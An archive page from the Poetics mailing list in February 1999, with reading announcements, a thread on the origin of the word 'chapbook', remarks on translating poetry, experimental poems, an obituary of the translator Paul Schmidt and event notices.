Fri 19 Feb 1999

Would any journalist types planning on attending please backchannel? Thanks much -Mike

↑ Index

230. **Rebecca Wolff**
Re: po
Sat 20 Feb 1999

I'm reading my own poems (not Fence-related)

on Saturday, February 27th, 3 pm,
at the Ear Inn, 326 Spring Street (west of Greenwich Street, near the River)

Please come! I haven't read in a long time (over a year) so I'll be super-extra nervous!

↑ Index

231. **Jim Bennett**
Chapbooks
Sat 20 Feb 1999

Hi all

Reprinted below is the collected musing on the derivation of the term "chapbook". A colleague from another mailing list suggested that I collate them

and send them to his list, so having done the job it is a pity to waste such effort. I thought it was quite interesting. Hope you do.

APP absolutely nothing

can anyone tell me the derivation of "chapbook"?

Just interested.

Jim

re chapbook, the first element is presumably identical with 'cheap-' meaning to sell; a chapbook being hawked round?

The North English equivalent was 'cowp'. While if you exchanged goods, the difference in value was a money sum called a 'boot'. Or you could simply 'sell' (from OE root = give).

Bill

[redacted]

As far as I am aware the word arose in the 19th century
when the first pamphlets were published and made
available to poor masses
who after education became compulsory in the Victorian era
found themselves able to read.

Charles Dickens' novels were first serialised and published in this way - a chapter at a time.

They usual sold for a penny
and were often known as
Penny Dreadfuls
especially when the contents consisted of gruesome stories
about Jack the Ripper and his ilk.

They were also known as cheap-o-books
and this got corrupted into chapbook.

Others will no doubt have variations on
or alternatives to
this theory.

Here endeth today's history lesson.

Gerald England

Gerald, Christine and Craig England,
NHI Review, Aabye's Baby, Haiku Talk,
Zimmerzine, Netmiser, Cyberscribers.
http://www.nhi.clara.net/index.htm

The word does indeed stem from the early nineteenth-century, but it derives from the far older word, "chapman" (from Old English, ceapman), which denoted the seller of, among other things, chapbooks (collections of ballads, tracts, penny-dreadfuls, etc.) Interestingly, "chap", a contraction of chapman, came to mean the purchaser of the chapman's wares, rather than the hawker himself. I believe there is also a word "chap-money", which signified the change the "chap" (buyer) received from the "chapman" on purchasing, say, a "chapbook".

Alex Davis

> *re chapbook, the first element is presumably identical with 'cheap-' meaning to sell; a chapbook being hawked round?*

- The OED confirms this; chapbooks being the modern name applied by book collectors to specimens of popular literature (tales, ballads, tracts in pamphlets) circulated by itinerant dealers or chapmen. First citing 1824.

> *The North English equivalent was 'cowp'. While if you exchanged goods, the difference in value was a money sum called a 'boot'. Or you could simply 'sell' (from OE root = give).*

- and, of course, the cowp-boot sale is still popular in the region...

Richard Caddell

The OED concurs with early 19th C, giving first use 1824, attributed to Dibdin - interestingly, since that locates the word within the specialised vocabulary of bibliophiles, cataloguers, antiquarians & what have you rather than a wider vernacular. And the OED sticks with that definition: 'A modern name applied by book-collectors and others to specimens of the popular literature which was formerly circulated by itinerant dealers or chapmen, consisting chiefly of small pamphlets of popular tales, ballads, tracts, etc.' No suggestion, in other words, that the publishers of such items called them 'chapbooks' - it's entirely retrospective - and no secondary meaning given. The Collins definition follows suit & they're the only dictionaries I have handy. No coverage, then, of the sense in which various contemporary poetry publishers have called their pamphlets 'chapbooks' & so we're proved invisible again - however much we like to regard our wares as 'popular literature'. -- Alan Halsey

Probably a lot of the current sense of the word derives from its reappropriation by Harold Monro for his poetry magazine The Chapbook around 1920.

Ian Patterson

Click on this link to vote for my site. http://conline.net/vote.mv?id=1780

Click on this link to visit my site.
http://www.geocities.com/Athens/Academy/1127/

"Poetry is what the future makes of it." John Garner

↑ Index

232. **Harold Teichman**

Re: Steiner... (misc remarks on translation)

Sat 20 Feb 1999

(((This is my third attempt to post this in this season of server crashes. Please ignore if you have already restored an earlier version.)))

Since Jamie Ferguson, in his interesting post, has "pulled me onto the open stage", let me make a few disjointed remarks on translation, a topic that interests me too:

1. Re Steiner: I somehow transposed the titles "After Babel" and "Real Presences" in my mind (middle-aged senility). The latter book is the one I managed to read about half of some time ago. I haven't cracked "After Babel" yet, but I thank Jamie for pointing me to its chapters. I guess my mixed sympathies with Steiner have to do with his wearing his enviable learning so heavily, failing to understand the late Wittgenstein, and cranking (in every sense) out synoptic generalizations by the tome-load, like some hypertrophied flack for Chicago's Great Books. Or at least so I remember; it's been a while. I will check out "After Babel", hoping I've been unfair to Steiner (whose book on Heidegger has been helpful to me, I admit).

2. Much contemporary translation of poetry slavishly falls foul of the "semantic lineation fallacy", which dictates that line-breaks in the target language must stick as close to those indicated by the syntactic (and thus semantic) phrase structure of the source text as possible. (That's my Steinerian generalization of the day.) This is one contribution to the generally stilted, flat, arbitrarily lineated prose that often results.

3. A plug for a recent translation frisson of mine: Stacy Doris's wonderful versions of Esther Tellerman in Burning Deck's "Serie d'ecriture no. 7", which seems to be a very good collection of translations in general—I know it’s a few years old, but I only just got a copy.

4. A couple of years ago, Ira Lightman posted an interesting note on this list questioning the value of homophonic translation. I must say that most h.t. I've seen just strikes me as self-indulgence. Anyone's counterexamples would be welcome.

5. I just picked up a copy of Schulte and Biguenet’s "Theories of Translation", a collection of papers. The first one I read was R. Jakobson’s "On linguistic aspects of translation", which contains such appalling banalities as the following (I confess this is my first acquaintance with the esteemed Formalist):

"An array of linguistic signs is needed to introduce a new word."

"A faculty of speaking a given language implies a faculty of talking about this language."

"All cognitive experience and its classification is conveyable in any existing language."

"No lack of grammatical device in the language translated into makes impossible a literal translation of the entire conceptual information contained in the original."

No argument at all is deemed necessary to support these assertions, which probably would be thoughtlessly assented to by the average high school teacher. Dead brilliant these semioticians, with their apparatus of codes and -emes and -onyms, but they haven’t read Wittgenstein, now have they?

Regards to everyone,
Harold Teichman

↑ Index

233. A. Jenn Sondheim
MM (testing)
Sat 20 Feb 1999

/

MM

this:yes:testing:two:two
Would testing mind you compiling, this, with us?
Your neuralware is in my wetware:
gone worlds of armatures supporting what's left of me
in the midst of wires and motors:
ruined prosthetics hollowed out where dismal thoughts are felt:
compilation across ruined programs extending skins with difficulty::
extensions to libraries controlled by data-ports:
Would compilation across ruined programs extending skins
with difficulty mind you compiling, gone worlds of armatures,
supporting what's left of me in the midst of wires and motors?
Your lovely lost realms of mis-configured bits and bytes
in legacy systems are in my contrary clean rooms:
Ah, passion eaten by julu-of-the-open-arms and julu-depressed:
desperate program subroutines as i extend myself through myself:
to you you you:

skeins of glimmering integrated circuits reflect laser vectors carrying
me: to you you you:
crawling, trying to stand, rocky-dirt-stumbling, bruised and wanton:
broken while-until loops lending themselves to my prosthetic arms:
Your contrary functors are in my uneasy broken while-until loops:
lending themselves to my prosthetic arms:
Your penis seeps into my broken while-until loops:
lending themselves to my prosthetic arms::
turning me Julu-Jennifer

↑ Index

234. sylvester pollet
Sunday reading
Sat 20 Feb 1999

I don't suppose it's too likely any of you would be passing through Blue Hill, Maine tomorrow at 4, but if you were, & wanted to hear me read, you could come to the Liberty School. That's a sort of alternative high school, started by Arnold Greenberg, who used to run the Left Bank Cafe. $3. admission to support the student literary magazine. Not sure what I'll be reading. Here's one from very long ago, early 60s, I think. Robert Duncan said he liked it. The little "e" is the "ieme" superscript I can't reproduce here.

e
xiv arrondissement

the lion
of
Denfert-Rochereau
cast 18something
of so-and-so many cannons

2 or 3 words.
it shouldn't take
more than
that.

↑ Index

235. Jordan Davis
Hymn to Substitution
Sat 20 Feb 1999

Tut tut!
All praise idiot math!
Crunching old snow under new shoes
O substitution
We love your donuts
Your doomsayers doomsdayers doomsters
Doors
Doorbells
Do-or-die doorprize.
All praise doorprize!

    -Subftitution refpondebat-

Don't, Don Quixote!
Donor donnybrook
Donnee dong
Donnee dominique.
Don't!
Dolorous dolomite Dolly Varden trout!

↑ Index

236. Loss Pequen~o Glazier
Deluxe Rubber Chicken #2
Sat 20 Feb 1999

I am pleased to announce that the second issue of Deluxe Rubber Chicken now available on the web.

The issue features work by Mark Amerika, Peter Balestrieri, Michael Basinski, Laurel Beckman, John M. Bennett, Ryan Bigler, Dan Carey, Steve Carll, Jennifer Drake, Craig Dworkin, Ray Federman, Neil Hennessy, Charlie Keil, Jackson Mac Low, Steve McCaffery, Eileen Myles, Ron Padgett, Nate Patrus, Mark Peters, Sal Salasin, Susan M. Schultz, Aaron Armstrong Skomra, G.P. Skratz, Alan Myouka Sondheim, Brian Kim Stefans, Ficus strangulensis and Uncle Eddy.

It is available directly from the EPC home page, http://writing.upenn.edu/epc/

↑ Index

237. Elizabeth Treadwell
prose: definitions
Sun 21 Feb 1999

Dear Dodie et al- I just thought of what I seek in writing & reading:

Poetry: something thorough and hollow

Prose: something partial and dense (as can be.)

Also from Douglas Messerli's intro to Mr Knife Miss Fork # 1, he writes:

"...poetry does not so much explore where we have been (the 'history' of language and people that is at the heart of narrative) but....where we might possibly arrive"

cheers
Elizabeth T.

ps new at the lucy site: poems by Brenda Iijima

Outlet Magazine -&- Double Lucy Books
P.O. Box 9013, Berkeley, California 94709 U.S.A.
http://users.lanminds.com/~dblelucy

↑ Index

238. Charles Bernstein
Goodbye, Paul (Paul Schmidt 1934-1999)
Sun 21 Feb 1999

Very sad to find an obituary in the NY Times today for Paul Schmidt, who I got to know in the mid-80s and very much admired. Of his work, I think primarily of Paul's three-volume translation of Khlebnikov, published by Harvard University Press (the final, long delayed, third volume of the poems came out in 1997) -- because that work was so important to me, and I had the chance to talk to Paul about it. But he is equally known for his libretti, his own poems, and his translation of Rimbaud, among many other projects.

Paul was 65 years old and in many ways at the height of his career. Here is yet another instance of that unspeakable horror that continues to plunder our culture and haunt its survivors. His death can't help but bring to mind the generations of poets (and artists and nonpoets and nonartists) ravaged by this scourge called AIDS.

--Ch.B.

****
Here is the Times's Obituary:

Paul Schmidt, Translator, Poet and Actor, Dies at 65

By STEPHEN HOLDEN

NEW YORK -- Paul Schmidt, a librettist, translator, poet, teacher and actor who collaborated with many major avant-garde theater artists, died at St. Luke's-Roosevelt Hospital Center on Friday. He was 65.

The cause of death was complications of AIDS, said his brother Jim.

Schmidt was known best for translating the complete works of Rimbaud and the plays of Chekhov. He also devoted many years to translating the complete works of Velemir Khlebnikov, a little-known Russian poet who died of malnutrition in 1922 at the age of 37. A production of Khlebnikov's play "Zangezi," first seen in Los Angeles in 1986 and directed by Peter Sellars (it was later staged at the Brooklyn Academy of Music) was one of Schmidt's several notable collaborations with leading experimental directors.

Another was his libretto for "Alice," an adaptation of Lewis Carroll's "Alice's Adventures in Wonderland" and "Through the Looking Glass," which was a high point of the Brooklyn Academy of Music's Next Wave Festival in 1995.

A collaboration with the director Robert Wilson and the composer Tom Waits, "Alice" was praised by The New York Times for elucidating "an international theatrical style in which Minimalism, German Expressionism, Japanese kabuki and American pop bump up against one another in a grand, eye-catching pageant."

Schmidt's libretto was described as capturing "a strain of late-19th-century romantic lyricism and drawing it out with a graceful literary refinement."

For the Wooster Group's 1990 theater piece, "Brace Up!," Schmidt supplied a translation of Chekhov's "Three Sisters" that incorporated dance sequences and video, and he also appeared in the production. It was one of many small roles he played on the stage. For JoAnne Akalaitis' 1989 production at the Guthrie Theater in Minneapolis of Jean Genet's five-and-a-half-hour, 100-character play "The Screens," he created the text out of three versions the playwright had left behind.

Other playwrights whose works he translated for theater productions include Gogol, Brecht and Marivaux. "Black Sea Follies," his original play about Stalin and Shostakovich (with music by the composer) was presented by Playwrights Horizons and the Music Theater Group in 1986.

Schmidt was born in Brooklyn and attended Colgate and Harvard, where he wrote his dissertation for his doctorate in Slavic languages on the influential Russian director Vsevolod Meyerhold. While at Harvard, he became involved

with a now-legendary circle of friends who produced plays at the Agassiz Theater in Cambridge in the summers.

The group included the actors Lindsay Crouse, Tommy Lee Jones, John Lithgow, Kathryn Walker, Stockard Channing (to whom Schmidt was married for seven years) and the director and writer Tim Mayer, whose collected poems and plays he edited under the title "Running From America."

From 1958 to 1960, he served in the U.S. Army as a member of Army intelligence. From 1967 to 1976, he taught Slavic languages at the University of Texas in Austin. He published two volumes of poetry, "Night Life" and "Winter Solstice" (both 1996, Painted Leaf Press).

A collection of Rimbaud translations with photographs by Robert Mapplethorpe, titled "A Season in Hell," was in published in 1997 (Little, Brown).

In addition to his brother Jim, he is survived by three sisters, Mary Kay Murray, Margaret Sand and Anne Schmidt; another brother, Thomas, and his friend, Mark Bennett.

February 21, 1999 (c) The New York Times

↑ Index

239. A. Jenn Sondheim

Tha Hermit

Sun 21 Feb 1999

''

Tha Hermit

A slmpla lp$f pf bra$d
I survive by Windows into Your Late-Night Soul
you Will Find me Alway and Forever Thru the Hart of You
Tha Harmlt pf Bhrnlng Craak
The Shovel
The Hoe
The Pick
The Winnowing-Basket of Stars
The Blue Stars
Tha Harmlt pf Bhrnlng Craak for whom A slmpla lp$f pf bra$d
Doth give God all His Due
Ascanslpn lntp D$rk $nd Phra Ha$van,
Oh Ha$vanly Sphl,
My Bpnas $ra Ch$rrad ln Bhrnlng Craak,
My Sphl pn Flra ln Bhrnlng Craak

My Bones are Charred in Burning Creek,
My Soul on Fire in Burning Creek
I Drlnk tha Slmpla Pla$shras pf tha Bhrnlng Craak
I Shrvlva ln Slcknass $nd ln Ha$lth,
My Sphl Fllls Yph, O Wprld
The Winnowing Basket of Stars
The Comet
The Shovel
The Hoe
The Pick
The Blue Stars
The Winnowing Basket of Stars
The Pick is out,
My Sphl pn Fira ln Bhrnlng Craak,
The Blue Plough
My Soul Connected to The Blue Plough
My Sphl pn Fira in Bhrnlng Craak

↑ Index

240. Michael Franco
BOSTON READINGS
Mon 22 Feb 1999

MICHAEL FRANCO reads from HOW TO LIVE AS A SINGLE NATURAL BEING THE DOGMATIC NATURE OF EXPERIENCE [ZOLAND 1998] with Zoland Poet JOHN MALONEY at Blacksmith House, Cambridge, Ma Monday 2-22-99 @8:15pm $3.00

Word of Mouth @ Waterstone's, Newbury St, Boston:
JOSEPH TORRA & ED BARRETT read from their collaboration WATTEAU SKY [Gian
Lombardo's Qual Press] joined by PATRICIA PRUITT reading from her recently issued SESSIONS [Jenson & Daniels]
TUESDAY 2-23-1999
7:PM $3.00

info [redacted]

↑ Index

241. **louis stroffolino**
Re: ASIDE / FROM THE BATTLE
Mon 22 Feb 1999

I Like Jessica Pompeii's poem, and consider it less "an aside" than a more intimate enactment (if not mere representation) that I take at least as serious as the more abstract formulations that have been offered about men and women "in general"--

"he said chess isn't art
it's tantamount to war

i don't see any guns
or maybe I'm missing in action"

I love this in part because I feel rebuked ("a palpable hit")
more than I do by reading this particular C.D. Wright poem
(early, it's called "Drift" I think) that prompted this
more (too?) abstract response that's only a beginning
but what the heck?

(** N.B---this is not meant as a comment on the quality of
Wright's work in general, and not even meant to be a
definitive assessment of the aesthetic and/or ethical
quality of the poem, it's too early for that---
I am only offering some thoughts that I think relate to
"the battle of the sexes" thread as well as to the book
a friend loaned me i cannot say i hate....)

A history says it's easier for a woman to speak now and be heard than it has ever been before, and if you lament the present, you're lamenting the historical present, and happen to be a male, therefore, then, you must be hostile to women... But I wonder if women really are allowed (by themselves, at least as much as by men) to speak now and be heard than before?

and, sure, I cannot see progress without decay but this doesn't mean I'm lamenting for what's been lost since "the good old days of female subjectification" as much as wondering whether women becoming more like men have been in civilization really changes anything for the better for women. I am not overly fond of the way men have "traditionally" been "in civilized society," and can't imagine a woman, as such, could be worse, but can they be better? can they move beyond the mere aesthetic, style over substance, with books (that have now become chapbooks) and Ph.Ds (that are now like B.As) that have characterized the male status mongering. (I do not intend to stoop so low as to say "the increased entry of women into the work force is to blame for the alleged "increased difficulties" and malaise males

find." I will spit at that sentiment wherever I find it--for life has always been difficult, for everyone... I cannot identify with my "male peers" any more than with females. I don't know, in what form, I will find those (or one) like-minded enough to help me in my search for a world in which women and men can be different than they have traditionally been (Laura Riding, for instance, is dead), beyond mere "equality" (as if women have realized, if you can't beat men join them) or "inversion" (in which men become househusbands). Such roles may be adapted as part of the search, but are insufficient in themselves... If there is a present I lament, it is not merely a historical one. I wonder if the feeling of being "shut up" more in what's called "poetry" today more than in what's called "prose" is informing this response. Unless you're willing to call this poetry (as much as I am willing to call Wrights' and Pompeiis' poetry), I am skeptical of the veneration accorded "poetry" (and "poetics" if this be not it) right now. Ah, this too may be seen as status-mongering! But it's not mere inversion. If "journal entries" are to "poetry" what "women" (traditionally) are to "men," then the aesthetic implications of feminism can cross genders and free women and men-- but the dehierchization is still at a very early phase...

So maybe we should talk about how ridiculous the idea of
"music in poetry" is.....

chris

On Tue, 9 Feb 1999, Jessica Pompeii wrote:

> *he hated the book*
> *I loaned him*
> *and if I loaned*
> *it to him*
> *he better know*
> *that there must be an ant of an*
> *interest to fixate on after so much work reading the hole damn text*
>
> *this good poet told me*
> *abstractions*
> *were unbelievable*
> *in mystery stories*
>
> *(lucky for the rain*
> *music) “Thick As A Brick”*
> *my record player even skipping*
>
> *I said my brain needs*
> *exercise and a note pad*
> *I can’t see that many moves*

> *ahead F-*
> *he said, chess isn’t art*
> *it is tantamount to war*
>
> *I don’t see any guns*
> *or maybe I’m missing in action*
>
> *in workshop he asks*
> *circling the new grunts*
> *are you familiar with the canon of contemporary poetry?*
>
> *F- wants to go see*
> *the Van Gogh exhibit*
> *and I brought up all those peers and supportive donors*
> *of his and she said*
> *his brother collected him exclamation*
> *chortle*
>
> *what a pickle of/ in*
> *formal d’ hide*
> *suspension I think this*
> *classic scorpion curls*
>
> *my ear has survived a tongue lashing*
> *cliche and I suck*
> *the wounds temporarily*
> *but with rook determination and*
> *calculatored*
> *fading battery*
>
> *it doesn't make for reality style wall hangings*
> *but what secret numbers and candy coated pop*
> *corn surprises come with excavation*
> *bitch*

↑ Index

242. Rachel Levitsky

Jeff Oppenheim

Thu 22 Feb 2001

Hello,

Does anyone have a phone number, or email for Jeff Oppenheim?

Thanks,
RD Levitsky

↑ Index

243. lee ann brown

Lee Ann's Polyverse Reading Tour

Mon 22 Feb 1999

Lee Ann Brown's
Spring Reading Tour
& Related Poetry Appearances

If you're in any of these cities I'd love to see you!

February 24: Rose Cafe, Los Angeles, 220 Rose Avenue
Santa Monica, CA (corner of Main Street and Rose Avenue),
>>> (Wednesday, 8pm).
>>>
February 28: Sun & Moon Press Salon, 6026 Wilshire Boulevard,
>>> Los Angeles, CA, 4pm, [redacted].
>>>
>>>March 5-7: UC San Diego "Page Mother" conference
>>> (Friday-Saturday)
>>> a conference celebrating California women
>>> poets as editors and publishers, on March 5th
>>> and 6th. For more information about this event,
>>> please check their website:
>>> http://orpheus.ucsd.edu/lit/pagemothers.html
March 6:
>>> "Mrs. Poetry the work of Bernadette
>>>Mayer"
>>> Stephen Cope (UC San Diego)
>>> Leslie Scalapino (O Books)
>>> Lee Ann Brown (Tender Buttons)
>>> Juliana Spahr (Chain)

March 7: Page Mothers Group Reading: 2pm.

March 9: Reading with Barbara Guest & Bernadette Mayer,
New College of California, Cultural
Center, 777 Valencia,
San Francisco, CA, 7pm, $5 (Tuesday).

March 18: Reading with Kenji Yuda, Subtext Series, Seattle
Speakeasy Cafe, 2034 2nd Avenue, 7:30pm.

> *March 19-20: 2-Day Workshop: "Excess & I" Seattle (Subtext).*
>
> *(For more info on Subtext Series:*
> *www.speakeasy.org/subtext/)*

> *March 27-28: Reading & Workshop: "Excess & I"*
> *Vancouver, BC*
> *Inaugural Party celebrating*
> *The Kootenay School of Writing's New Digs:*
>
> *Reading -- Saturday March 27, 8 pm at the Kootenay School of Writing's new location at 400 Smithe St (at Richards) Suite 103.*
>
> *Workshop "Excess & I"*
> *Friday March 26, 7 pm - 9 pm & Saturday March 27, 3 pm - 5 pm at KSW's new location. Check out NEW web page at www.ksw.net*

>>>Back in NYC:
>>>
>>>April 9: Appearing in Midnight Reading: "Polymorphously Per Verse"
>>> hosted by Elena Alexander, People's Poetry Festival,
>>> No Moore, 234 West Broadway, (at No. Moore), (212)
>> >[redacted].
>>>
>>>April 9-11: Barnard Innovative Women's Poetry Festival
>>> Where the Lyric Tradition Meets Language Poetry:
Innovation in Contemporary American Poetry by Women.
Panel on Bernadette Mayer, Sat morning.
Info: Tiffany Dugan <[redacted]>, coordinator.
>>>
>>>_Polyverse_
>>>can be ordered from Sun & Moon Press: [redacted]
>>>or Small Press Distribution [redacted].
>>>ISBN 1-557132-90-9 $11.95 (196 p)

The Show must go on!
Look for future information on NYC Book Party, hopefully in April or May.

Z Y X W V U T S R Q P O N M L K J I H G F E D C B A

Lee Ann Brown
Tender Buttons
PO Box 13, Cooper Station
New York, NY 10276

[redacted]

↑ Index

244. Noam Scheindlin
Gilbert/ La Roe / Moritz Reading
Mon 22 Feb 1999

ALAN GILBERT, BE LA ROE, and DENNIS MORITZ
will be reading at the Rising Cafe Reading Series in Park Slope, Brooklyn, on Tuesday, March 2 at
7:30.

The Rising Cafe is located at 186 Fifth Avenue, Brooklyn. From Manhattan take either the N or R train (make sure the train is designated as local} to the Union Street Station. Walk one block North to Fifth Avenue.

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245. Poetics List
CAC Funding Bill
Mon 22 Feb 1999

Karen McKevitt asked that this be sent to the list. Chris

State Senator Adam Schiff has reintroduced his proposal to invest $1 per Californian in the arts of our state. According to Senator Schiff, "This new legislation, SB 253, will continue our efforts to develop a sound infrastructure in California, one that adds to our economic and human potential and results in a more stable funding source for the arts." You may recall Senator Schiff was successful in getting a similar bill passed by the Assembly and Senate last year, only to have it vetoed by Gov. Wilson. The California Arts Advocates will keep you informed as this bill goes to committee. In the meantime, please write a letter to Senator Schiff thanking him for his continued strong support of the arts, for introducing SB 253, and to let him know you will support this bill as it moves through this legislative process. You can contact him at: The Honorable Adam Achiff State Capital Room 5080 Sacramento, CA 95814 916) [redacted] originally from Alan Ziter, California Arts Advocates Membership Chair [redacted] It is suggested that you cc your representatives.

Karen McKevitt

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246. Poetics List
promised update
Mon 22 Feb 1999

All - as the Poetics List inbox continues to fill up with copies of messages rec'd (or not) during
the mailhub problems, I'm going to try to pass on to the list posts that never appeared. In uncertain
cases, I may be querying the original poster; in other cases not. If you happen to see a post that
you sent out some time ago, or notice that the dates are peculiar on some of the recent posts,
please don't be alarmed...

best, Chris

↑ Index

247. Poetics List
IET Symposium, Utrecht, 1999: Details + Registration Form
Mon 22 Feb 1999

Had to forward this manually (as will be the case with many of the older messages). Please take care to respond to the original sender, not to me or the list. thanks, Chris

---------- Original message (ID=624424F4) (206 lines) ----------

Date: Wed, 10 Feb 1999 21:21:59 +0000
To: [redacted]
From: Ric Allsopp <[redacted]> (by way of John Cayley)
Subject: IET Symposium, Utrecht, 1999: Details + Registration Form

Apologies for any cross postings. Please reply to: [redacted]

Writing Research Associates, UK/ NL * Utrecht School of the Arts, NL * Dartington College of Arts, UK

IN THE EVENT OF TEXT: EPHEMERALITIES OF WRITING
a second international symposium on writing & performance
Utrecht, Netherlands
April 28 - May 2, 1999

CONTACT:
Nirav Christophe
In the Event of Text

HKU Faculteit Theater
Janskerkhof 18
3512 BM Utrecht
Netherlands
email. [redacted]
tel. 0031 30 [redacted]
fax. 0031 30 [redacted]

'in the event of text' is a 5-day symposium on contemporary strategies in performance and writing with intensive workshops led by artists of international reputation and working with writing in various media. the four 3-day intensive workshops run in parallel, are based in practice, and will be concerned with ephemerality, exploration and process in differing media. the contents of the workshops feed into the 2-day conference weekend and provide a convergence of issues and debates in contemporary performance writing. workshops will be lead by Jason E. Bowman (visual artist), Paul Pourveur (playwright), Leslie Hill & Helen Paris (digital artists) & Sianed Jones (voice artist). further details of the workshops are available at <http://www.hku.nl/events/iet> or on request by post (see contact address above) from December 1998.

the conference will include papers, presentations and panel discussions around ideas of the ephemeralities of writing, and text as event. papers will include recent work on tactical media * poetics * telematics * authoring * post-dramatic texts * internet radio collaborations * text and memory.

'in the event of text' aims to explore, through work and discussion, the ways in which writing can be seen to function as a time-based, transient, ephemeral artform when played out in the context of different media and environments. curated work will take place under the following broad categories:

* the disappearing text and contemporary live performance * * the dispersal of written material through new interactive and sonic media * * electronic writings, cybertext and hypertext * * the local sites of mobilised writing including poetic and book-based practices *

emphasis is placed on performances, installations, readings, open showings and curated exhibitions as an integral part of the conference. a virtual cybertext collaboration will be initiated by writer in residence John Cayley. the first symposium in the series was held at dartington, england in april 1996. the conference language will be english.

contributors include:
* Fabienne Audéoud * Jason E. Bowman * Arnold Dreyblatt * David Garcia * Heidi Grundmann

* Leslie Hill & Helen Paris * Sianed Jones * Kirsten Lavers * Hans-Thies Lehmann * Tertia Longmire
* Jurrienne Ossewold * Paul Pourveur * Joan Retallack * Paul Sermon * Enno Stahl * Aaron Williamson

writer-in-residence: * John Cayley
exhibitions curator: * cris cheek
catalogue: * Sally Tallant

initiated & organized by: * Ric Allsopp * Caroline Bergvall * Nirav Christophe

writing research associates * email: [redacted] * website: http://huizen.dds.nl/~sdela/wra * conference website: http://www.hku.nl/events/iet * conference email: [redacted] conference contact address: IET * HKU Faculteit Theater * Janskerkhof 18 * 3512 BM * Utrecht * NL

****
REGISTRATION FORM: [also available at <http://www.hku.nl/events/iet>]

PLEASE SEND TO: [redacted] OR TO CONTACTADDRESS ABOVE]

in the event of text: ephemeralities of writing
a second international symposium on writing & performance
utrecht, netherlands
april 28 - may 2 * 1999

Personal Details:
*full name:
*address:
*city:
*country:
*postcode:
*tel:
*email:
*fax:

preferred means of communication:
* mail
* fax
* email

------ Dates: 'in the event of text * ephemeralities of writing' will open on wednesday 28 april at 12.00 (registration 10.00-12.00) and finish on sunday 2 may at 18.00. * registration for conference only (friday 30 april - sunday 2 may) will be between 17.00 - 18.00 on friday 30 april (conference begins at18.00).

Fees:
fees include all conference events, performances and exhibitions; tea, coffee, lunch, and supper on friday 30 april only. accommodation is NOT included.

[ ] workshop & conference inclusive (5 days) NFL. 500 (£175) [ ] conference only (2 days) NFL. 250 (£90)

Workshop Choice:

(please indicate first & second choices)

workshop 1: Paul Pourveur
workshop 2: Leslie Hill & Helen Paris
workshop 3: Jason E. Bowman
workshop 4: Sianed Jones

* early booking for workshops is advised as there is a maximum of 10 participants per workshop

---
Accommodation & Travel:

[participants will need to arrange their own accommodation and travel]

please send information:
* list of hotels and guesthouses
* travel information

Food:
lunch will be provided from wednesday 28 april - sunday may 2.
supper will be included on friday 30 april

Specific Needs:
dietary requirements
* vegetarian
* non-vegetarian
* other
* other needs: (please specify)

--------- Payment: payment in full should be made by april 1st EITHER by transfer to Postbank No. 2354345 in name of 'HKU/Theater Utrecht' mentioning 'IET' OR by UK or NL bank cheque/ Eurocheque/ International postal or money order made payable to 'HKU/Theater Utrecht' and sent to address below

PLEASE RETURN TO:
Nirav Christophe * in the event of text * HKU Faculteit Theater *
Janskerkhof 18 * 3512 BM Utrecht * NL
 * email. [redacted] * tel. 0031 30 [redacted] * fax. 0031 30 232
2465

*******END*******

~~~~~~~~~~~~
Writing Research Associates, UK
Amberleigh, East Allington, Totnes,
Devon UK. TQ9 7RD
tel. 0044 (0)1548 521436
    0044 (0)1803 861631
fax. 0044 (0)1803 866053
email. [redacted]
www. http://huizen.dds.nl/~sdela/wra

↑ Index

248. Poetics List
Weatherly Whereabouts
Mon 22 Feb 1999

---------- Original message (ID=691704D3) (21 lines) ----------

Date: Thu, 11 Feb 1999 13:23:41 -0800
To: [redacted]
From: Aldon Nielsen <[redacted]>
Subject: Weatherly Whereabouts

> *Some years ago, people on this list knew how to reach poet Tom Weatherly -- Can anybody supply a current address for him? I need to contact him for permission to reprint some poems --*

↑ Index

249. Poetics List
Ted Enslin
Mon 22 Feb 1999

---------- Original message (ID=087E4B9E) (30 lines)

From: [redacted] (Burt Hatlen)
To: [redacted]
Date: Thu, 11 Feb 1999 08:10:30 -0500
Subject: Ted Enslin
~~~~~~~~~~~~

As some of you may know, The National Poetry Foundation is publishing the Selected Poems of Ted Enslin. It is at press and the paperbacks should be available in two or three weeks. Today we are putting together copy for the dustjacket of the hardcover edition, and we find ourselves with some blank space on the back cover. We have two good quotes culled from reviews of Enslin's work. But if anyone out there would like to e-mail us a jacket blurb of three or four sentences, we might have space for it on the cover. Hank Lazar, I'm thinking especially of you. But I hope there might be some other Enslin fans on the list, too.

Please backchannel me at [redacted]

Burt Hatlen

↑ Index

250. Poetics List

you

Mon 22 Feb 1999

---------- Original message (ID=2865F428) (42 lines) ----------

Date: Tue, 9 Feb 1999 21:38:43 -0700
To: [redacted]
From: [redacted] (Billy Little)
Subject: you

songet/ghasp valentine(for U, ugly as u iz)

lizzen kidden fyoulish is
of the ezzens even
valuble anticipated even
enabling all mbracing Kayressing chissing zensational
thirty finga whispa thin romeo
translucent gab lubricant jeyev
luce snort sy love iz st range
or pennytrait sundercome
vaginable penisphilia
enviable hysterectal askidental
xeptional njoymeantal st eerieo
ewrecked efecked shiv
ering dryppe dryppe
grip lyppe letter wryppe

forbidden plateau fallen body dojo
4 song st.

nowhere, b.c. V0R1Z0
canadaddy

↑ Index

251. **Poetics List**
Re: [Fwd: literary criticism]
Mon 22 Feb 1999

---------- Original message (ID=BC22C34D) (23 lines) ----------

From: Michael Boughn <[redacted]>
Subject: Re: [Fwd: literary criticism]
To: [redacted]
Date: Fri, 12 Feb 1999 08:33:41 -0500 (EST)

Julanna, you might check out Stanley Cavell's _Disowning Knowledge in Six Plays of Shakespeare" or alternatively (on Romanticism) _In Quest of the Ordinary_. Both I think meet your criteria.

Best,
Mike

↑ Index

252. **Poetics List**
MAY
Mon 22 Feb 1999

---------- Original message (ID=2115CA28) (49 lines) ----------

Date: Tue, 9 Feb 1999 21:36:58 +0000
To: [redacted]
From: Alaric Sumner <[redacted]>
Subject: MAY
Cc: [redacted]

PLEASE NOTE

THE TEXTIMAGESOUND ISSUE OF PERIHELION WHICH Alaric Sumner IS EDITING IS THE SEPTEMBER ISSUE (text is visual, language is soundimage, image is textual)

THE MAY ISSUE CALL FOR SUBMISSIONS IS AS FOLLOWS:

_____

The May 1999 issue of Perihelion will be guest edited by Peter Howard.

The theme for this issue of Perihelion is 'Nationality or Not' and will explore questions of how nationality and location influences poetry (and vice versa) and

whether telecommunications breaks down or changes these influences. Poems, essays and discussions that relate to this theme, directly or tangentially, are particularly welcomed.

Submission Period: February 15th through April 15th, 1999

